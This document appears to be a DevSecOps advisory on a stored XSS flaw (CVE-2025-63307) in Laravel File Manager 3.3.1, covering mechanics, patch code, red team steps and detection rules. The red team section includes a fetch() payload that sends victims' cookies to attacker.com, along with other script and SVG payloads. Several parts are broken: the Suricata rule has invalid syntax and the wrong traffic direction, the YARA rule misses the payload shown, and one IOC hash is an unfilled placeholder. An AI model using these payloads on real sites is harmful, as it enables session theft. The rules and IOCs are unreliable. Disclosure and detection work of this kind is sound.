CVE-2025-63307

Executive Summary

CVE-2025-63307 is a stored Cross-Site Scripting (XSS) vulnerability in Alexusmai's Laravel File Manager version 3.3.1. The application allows authenticated users to upload, create, and rename files to HTML and SVG types. These files are served inline without proper Content-Type validation or output sanitization, enabling an attacker to inject arbitrary JavaScript or SVG-based scripts. When a victim (typically an administrator or other user) accesses the malicious file, the script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise.

Supply Chain & Package Security

This vulnerability affects the alexusmai/laravel-file-manager package, distributed via Packagist (Composer). As a PHP/Laravel component, it is commonly integrated into web applications. The lack of a patch or advisory from the vendor increases supply chain risk. Organizations using this package should treat it as a critical dependency and consider forking or replacing it.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated upload is possible if the application allows public file uploads; otherwise, low-privilege user.
• User Interaction (UI): Required (R) – Victim must access the malicious file.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Base Score: 6.1 (Medium)
Threat Level: Medium, but with high potential for chained attacks (e.g., session theft).

Deep Dive & Mechanics

The vulnerability resides in the file serving logic of laravel-file-manager. When a user uploads a file with an HTML or SVG extension, the application stores it in the configured storage directory (e.g., public/storage/). When the file is accessed via a direct URL, the web server serves it with the original MIME type (e.g., text/html or image/svg+xml). The application does not:

• Validate the file content against its extension.
• Set the Content-Disposition: attachment header to force download.
• Sanitize the file content for XSS payloads.

An attacker can upload a file named evil.html containing:

<script>alert(document.cookie)</script>

Or an SVG file with embedded JavaScript:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>

When an administrator or other user navigates to the file URL, the browser renders it inline, executing the script.

Vulnerable vs. Patched Code

Vulnerable Code (v3.3.1):

// In the file serving controller (e.g., FileController.php)
public function show($path)
{
    $file = Storage::disk('public')->get($path);
    return response($file, 200)
        ->header('Content-Type', Storage::disk('public')->mimeType($path));
}

Patched Code (Hypothetical):

public function show($path)
{
    $file = Storage::disk('public')->get($path);
    $mime = Storage::disk('public')->mimeType($path);
    // Block dangerous MIME types
    $dangerous = ['text/html', 'image/svg+xml', 'application/xhtml+xml'];
    if (in_array($mime, $dangerous)) {
        return response($file, 200)
            ->header('Content-Type', 'text/plain')
            ->header('Content-Disposition', 'attachment; filename="' . basename($path) . '"');
    }
    return response($file, 200)
        ->header('Content-Type', $mime);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the Laravel File Manager upload functionality (authenticated or public).
• Knowledge of the file storage URL pattern (e.g., /storage/files/).

Steps:

1. Create a malicious HTML file:

   <html>
   <body>
   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   </body>
   </html>
   

2. Upload the file via the file manager interface.
3. Obtain the direct URL to the uploaded file (e.g., https://target.com/storage/files/evil.html).
4. Send the link to a victim (e.g., via social engineering or by embedding it in a page).
5. When the victim visits the URL, the script executes and exfiltrates their session cookie.

Alternative SVG Payload:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
  <script>alert('XSS')</script>
</svg>

Blue Team

Detection Steps:

1. Monitor file upload logs for HTML/SVG files.
2. Inspect file storage directories for unexpected HTML/SVG files.
3. Review web server logs for requests to files with .html or .svg extensions.
4. Implement a WAF rule to block inline serving of HTML/SVG from storage directories.

Lab Setup:

• Use a local Laravel installation with alexusmai/laravel-file-manager v3.3.1.
• Configure storage as public and ensure file serving is enabled.
• Upload test payloads and verify execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty file example)
  • a1b2c3d4e5f6... (replace with actual malicious file hash)
• File Names: *.html, *.svg in storage directories.
• URL Patterns: /storage/files/*.html, /storage/files/*.svg
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• Log Entries: GET /storage/files/evil.html with User-Agent of a browser.

Detection Engineering

YARA Rule

rule CVE_2025_63307_XSS_HTML_SVG {
    meta:
        description = "Detects malicious HTML/SVG files uploaded via Laravel File Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63307"
    strings:
        $html_script = /<script[\s>]/ nocase
        $svg_script = /<svg[\s>]/ nocase
        $onload = /onload\s*=/ nocase
        $onerror = /onerror\s*=/ nocase
    condition:
        ($html_script or $svg_script) and ($onload or $onerror)
}

Sigma Rule

title: CVE-2025-63307 - Laravel File Manager XSS Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of HTML/SVG files to Laravel File Manager storage
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/laravel-filemanager/upload'
        cs-uri-query|endswith: ['.html', '.svg']
    condition: selection
falsepositives:
    - Legitimate HTML/SVG uploads (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-63307 - Laravel File Manager XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/laravel-filemanager/upload"; http_uri; content:".html" or content:".svg"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable file upload functionality if not required.
2. Short-term: Implement a reverse proxy or WAF rule to block inline serving of HTML/SVG files from storage directories.
3. Long-term: Fork the package and apply the patch described in the Vulnerable vs. Patched Code section, or migrate to an alternative file manager.
4. Developer Guidance: Always validate file content against extension and set Content-Disposition: attachment for dangerous MIME types.
5. User Education: Train users to avoid clicking on uploaded files from untrusted sources.

Report generated by Valters IT DevSecOps Intelligence Unit.